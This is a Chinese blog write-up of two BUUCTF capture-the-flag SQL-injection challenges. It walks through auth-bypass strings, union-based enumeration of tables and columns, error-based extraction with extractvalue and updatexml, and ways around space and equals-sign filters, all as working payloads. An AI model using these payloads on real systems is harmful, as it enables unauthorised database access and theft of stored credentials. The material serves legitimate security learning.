WEB学习笔记之SQL注入实战题解(来自buuctf)

三.[极客大挑战 2019]LoveSQL 1

1.判断闭合方式:

账号输1,密码输:1',发现有语法报错。判断是单引号闭合

2.老方法,先试一下万能密码:

1' or 1=1#,得到:

3.采用常规的方式判断列数:

1' order by 1#

1' order by 2#

1' order by 3#

1' order by 4#

到4的时候报错,判断列数为3;

4.构造union查询语句:

1' union select 1,2,3#-----查看注入点

发现会返回2和3字段

1' union select 1,2,database()#----查询数据库名

可得数据库名字是geek

1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema = 'geek'#------查询表名

可得有两个表分别为geekuser,l0ve1ysq1

1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'geekuser'#----查询表中列名

查询第一个geekuser表内的列名。得到id,username,password

1'union select 1,group_concat(username),group_concat(password) from geekuser%23----分别查询username,password两个列

发现和一开始没什么区别

没有flag

换另一个表查试试看

1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

同样得到id,username,password

1'union select 1,group_concat(username),group_concat(password) from l0ve1ysq1

成功获得flag!

注:翻阅了这个题目的相关writeup发现有些人会有写到有过滤%23和--+的,我做的时候是能正常用#的所以没有发现这个过滤,大家可以参考一下

四.[极客大挑战 2019]HardSQL1

1.判断闭合方式:

账号输1,密码输:1',发现有语法报错。判断是单引号闭合

2.尝试一下万能密码:

1' or 1=1#

报错相同,此时考虑一下是不是报错注入

知识点1(报错注入)

l error报错注入:

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数.报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复

xpath语法错误:利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数

1. Extractvalue()函数:

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)

正常语法:extractvalue(目标xml文档,xml路径)

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:Xpath_string是xpath格式的字符串,xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

作用:从目标xml中返回包含所查询值的字符串

id='and(select extractvalue("anything",concat('~',(select语句))))

查数据库名:

id='and(select extractvalue(1,concat(0x7e,database())))#

在爆表、列、值的时候用group_concat函数把查询结果分组聚合,然后用and xxxxx not in 'xxx','xxx'过滤掉前面回显的

爆表名:

id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆字段名:

id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆数据:

id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2. Updatexml()函数

函数原型:updatexml('XML_document','Xpath_string','New_value')

解释:updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')

查询数据库:id=1' and (select updatexml(1,concat(0x7e,(database()),0x7e),1))#

查询表名:id=1' and (select updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit x,1),0x7e),1))#

查询列/字段名:id=1' and (select updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit x,1),0x7e),1))#

查询数据:id=1' and (select updatexml(1,concat(0x7e,(SELECT  group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1))#

Limit x,1中x为任意值

l Xpath报错:

1 and extractvalue(1,concat(user(),0x7e,version()))#

1 and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)#

4..尝试报错注入

先爆数据库,构造payload:

admin'^extractvalue(1,concat(0x5c,(select(database()))))#---由于空格被过滤了,所以采用^和括号绕过空格

知识点2(空格绕过)

括号绕过空格:

  如果空格被过滤,括号没有被过滤,可以用括号绕过。

  在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

得到数据库

报表名:

admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# ---等于号过滤

知识点3(等于号绕过)

=绕过:使用like 、rlike 、regexp 或者 使用< 或者 >

爆表中列名:

admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

爆password数据:

admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))#

有flag出现,但可见flag不是很全,采用使用{left(),right()}:

知识点4(left()和right()函数)

在SQL注入中,LEFT()和RIGHT()函数是用于从字符串的左侧或右侧提取指定长度的字符.第一位为字符串,第二位为提取字符串长度

admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#

得到左半边的flag:

flag{2f8ac640-c948-4c6b-a2a7-6

admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#

得到右半边的flag:

0-c948-4c6b-a2a7-662587c22007}

拼接一下(重合部分得去掉)

flag{2f8ac640-c948-4c6b-a2a7-662587c22007}

注意:语句中0x7e0x5c分别表示~和\

成功获取flag!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值